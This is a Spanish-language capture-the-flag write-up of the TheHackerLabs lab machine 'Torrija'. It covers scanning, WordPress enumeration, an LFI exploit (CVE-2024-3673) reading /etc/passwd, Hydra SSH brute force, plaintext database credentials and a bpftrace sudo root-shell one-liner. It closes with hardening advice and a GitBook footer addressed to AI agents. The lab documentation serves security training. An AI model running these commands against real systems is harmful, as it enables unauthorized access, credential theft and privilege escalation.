> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/thehackerlabs/facil/torrija.md).

# Torrija

## Introduccion

En este laboratorio de TheHackerLabs se compromete una maquina Linux que expone SSH, HTTP y MariaDB.

La cadena de explotacion empieza con enumeracion web sobre una instalacion WordPress. El plugin `web-directory-free` se encuentra desactualizado y es vulnerable a LFI mediante CVE-2024-3673, lo que permite leer archivos del sistema e identificar usuarios. Despues se obtiene acceso por SSH como `premo`, se extraen credenciales desde MariaDB para moverse al usuario `primo` y la escalada final se consigue abusando de una regla `sudo` sobre `bpftrace`.

***

## Informacion de la maquina

Al iniciar la maquina se muestra la informacion basica del laboratorio:

![Informacion de la maquina](/files/1yc4mgJaf8FZJiL5YUvG)

Datos relevantes:

| Campo   | Valor                               |
| ------- | ----------------------------------- |
| Nombre  | Torrija                             |
| Creador | CuriosidadesDeHackers & CondorHacks |
| IP      | 192.168.56.106                      |

***

## Reconocimiento

Se realiza un escaneo de versiones con Nmap sobre todos los puertos:

```bash
nmap -sS -sV -n -Pn -T4 -p- 192.168.56.106
```

![Nmap](/files/B6mhnmNVf12kOcLGFJpz)

El escaneo muestra tres puertos abiertos:

| Puerto   | Servicio | Version              |
| -------- | -------- | -------------------- |
| 22/tcp   | SSH      | OpenSSH 9.2p1 Debian |
| 80/tcp   | HTTP     | Apache httpd 2.4.62  |
| 3306/tcp | MySQL    | MariaDB 10.11.6      |

***

## Enumeracion web

Al acceder al puerto 80 aparece una pagina estatica llamada `KINGRICE`:

```
http://192.168.56.106
```

![Web principal](/files/nbbgPW8dUlf9aJBK7LFt)

Se realiza fuerza bruta de rutas y archivos:

```bash
gobuster dir -u http://192.168.56.106:80 \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x html,zip,php,txt,bak,sh,asp,aspx \
  -b 404,403 -t 60
```

![Gobuster](/files/YhZ9iHu45nqOqy6n7O2S)

Recursos interesantes:

| Recurso             | Codigo | Comentario            |
| ------------------- | ------ | --------------------- |
| `/index.html`       | 200    | Pagina principal      |
| `/about.html`       | 200    | Pagina estatica       |
| `/contact.html`     | 200    | Pagina estatica       |
| `/recipes.html`     | 200    | Pagina estatica       |
| `/testimonial.html` | 200    | Pagina estatica       |
| `/wordpress/`       | 301    | Instalacion WordPress |

***

## Enumeracion de WordPress

Al detectar WordPress, se lanza WPScan para enumerar usuarios, plugins y temas:

```bash
wpscan --url http://192.168.56.106/wordpress/ -e u vp vt
```

![WPScan](/files/Du93qYciqleqDbEFBgjF)

WPScan identifica varios hallazgos:

* `xmlrpc.php` habilitado.
* `readme.html` accesible.
* Directory listing en `/wordpress/wp-content/uploads/`.
* WordPress `6.7.2`.

Tambien se identifica el usuario:

![Usuario WordPress](/files/JfMpishPHxprBUzfTR5E)

```
administrator
```

Al revisar el directorio de uploads, se confirma que el listing esta habilitado:

![Uploads](/files/nAvmvbNDXTNRUM44Cdln)

Entre los recursos aparece el archivo:

```
w2dc-plugin.css
```

Esto apunta al plugin `web-directory-free`.

***

## Plugin vulnerable

Se fuerza la enumeracion de plugins con WPScan:

```bash
wpscan --url http://192.168.56.106/wordpress/ \
  --enumerate ap --force --plugins-detection mixed
```

![WPScan plugins](/files/NyWyAC60bgUZBQKdcX46)

WPScan confirma el plugin `web-directory-free`:

![web-directory-free](/files/rC3YsXwC9LO8nLq8xPhJ)

Version detectada:

```
web-directory-free 1.7.2
```

Esta version es vulnerable a **CVE-2024-3673**, una vulnerabilidad de Local File Inclusion en versiones anteriores a `1.7.3`.

Se localiza un exploit publico para automatizar la lectura de archivos:

![Exploit CVE-2024-3673](/files/RgJUhFiJac1VNCqww6Gw)

***

## LFI y usuarios del sistema

Con el exploit se intenta leer `/etc/passwd`:

```bash
python CVE-2024-3673.py \
  --url http://192.168.56.106/wordpress/ \
  --file /etc/passwd
```

![Lectura de passwd](/files/UIiEi9M8TnZtXkny4iue)

La lectura funciona correctamente y permite identificar usuarios con shell interactiva:

```
debian
premo
primo
```

El usuario mas interesante para probar contra SSH es `premo`.

***

## Fuerza bruta SSH

Con el usuario `premo` identificado, se lanza Hydra contra SSH:

```bash
hydra -l premo -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.106 -t 64
```

Hydra encuentra credenciales validas:

| Usuario | Password    |
| ------- | ----------- |
| `premo` | `cassandra` |

Se accede por SSH:

```bash
ssh premo@192.168.56.106
```

***

## Enumeracion local

Ya dentro como `premo`, se revisa la instalacion WordPress para buscar credenciales de base de datos. En `wp-config.php` aparecen los datos de conexion a MariaDB con admin pero no se encuentra nada y probamos con root.

Como el puerto `3306` estaba expuesto y MariaDB estaba accesible, se conecta a la base de datos:

```bash
mysql -u root -p
```

Una vez dentro, se enumeran las bases de datos y se selecciona `Torrijas`:

```sql
SHOW DATABASES;
USE Torrijas;
SHOW TABLES;
```

La tabla interesante es:

```
primo
```

Se consulta su contenido:

```sql
SELECT * FROM primo;
```

La tabla contiene credenciales en texto claro:

| Usuario | Password         |
| ------- | ---------------- |
| `primo` | `queazeshurmano` |

***

## Movimiento lateral a primo

Con la password encontrada se cambia al usuario `primo`:

```bash
su primo
```

Password:

```
queazeshurmano
```

***

## Escalada de privilegios

Se revisan los permisos sudo del usuario `primo`:

```bash
sudo -l
```

El usuario puede ejecutar `bpftrace` como `root` sin password:

```
(ALL : ALL) NOPASSWD: /usr/bin/bpftrace
```

Segun GTFOBins, `bpftrace` permite ejecutar comandos del sistema. Se abusa de la regla `sudo` para lanzar una shell como `root`:

```bash
sudo /usr/bin/bpftrace -e 'BEGIN {system("/bin/bash")}'
```

Se confirma el acceso privilegiado:

```bash
whoami
id
```

Resultado:

```
root
uid=0(root) gid=0(root) groups=0(root)
```

***

## Conclusion

Torrija es una maquina directa pero con una cadena muy realista: una web aparentemente estatica esconde WordPress, un plugin vulnerable permite leer archivos locales, la enumeracion revela usuarios del sistema y las credenciales debiles abren SSH. La post-explotacion se apoya en credenciales almacenadas en MariaDB y termina con una regla `sudo` peligrosa sobre `bpftrace`.

### Puntos clave

| Fase               | Tecnica         | Resultado                                   |
| ------------------ | --------------- | ------------------------------------------- |
| Reconocimiento     | Nmap            | SSH, HTTP y MariaDB expuestos               |
| Enumeracion web    | Gobuster        | Descubrimiento de `/wordpress/`             |
| WordPress          | WPScan          | Usuario `administrator` y plugin vulnerable |
| Explotacion        | CVE-2024-3673   | LFI sobre `web-directory-free`              |
| Credenciales       | Hydra           | SSH como `premo` con `cassandra`            |
| Movimiento lateral | MariaDB         | Password de `primo` en texto claro          |
| Escalada           | `sudo bpftrace` | Shell como `root`                           |

### Recomendaciones

* Mantener WordPress, temas y plugins actualizados.
* Deshabilitar directory listing en Apache.
* No exponer MariaDB a la red si no es necesario.
* Aplicar politicas de contrasenas robustas.
* Evitar credenciales en texto claro dentro de bases de datos.
* Restringir reglas `sudo` sobre binarios capaces de ejecutar comandos.
* Auditar periodicamente usuarios locales y servicios expuestos.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/thehackerlabs/facil/torrija.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
